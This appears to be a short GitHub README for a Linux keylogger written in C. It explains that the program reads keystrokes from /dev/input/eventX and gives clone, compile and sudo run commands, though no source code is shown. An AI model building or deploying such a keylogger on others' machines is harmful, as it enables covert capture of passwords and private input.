The Keylogger is built using the standard libs in the C and it only work in linux as it uses the linux file /dev/input/eventX which is responsible for capturing the key strocks in real time.
- capture key's from A-Z and 0-9 only uppercase
- uses read from <unistd.h> to read the file data
- uses open from <fcntl.h> to open the file
- <linux/input.h> is also included as it contain the input_envent whihc is used to read inputs
- ie.value , ie.code , ie.type is used to capture only the key pressed
git clone git@github.com:hellboy-zero/Keylogger_in_c.git
cd keylogger_in_c/src
gcc -o keylogger keylogger.c
sudo ./keylogger /dev/input/eventX
- In eventX the 'X' is a number as there are many event files check /proc/bus/input/devices for exact event file on your linux distro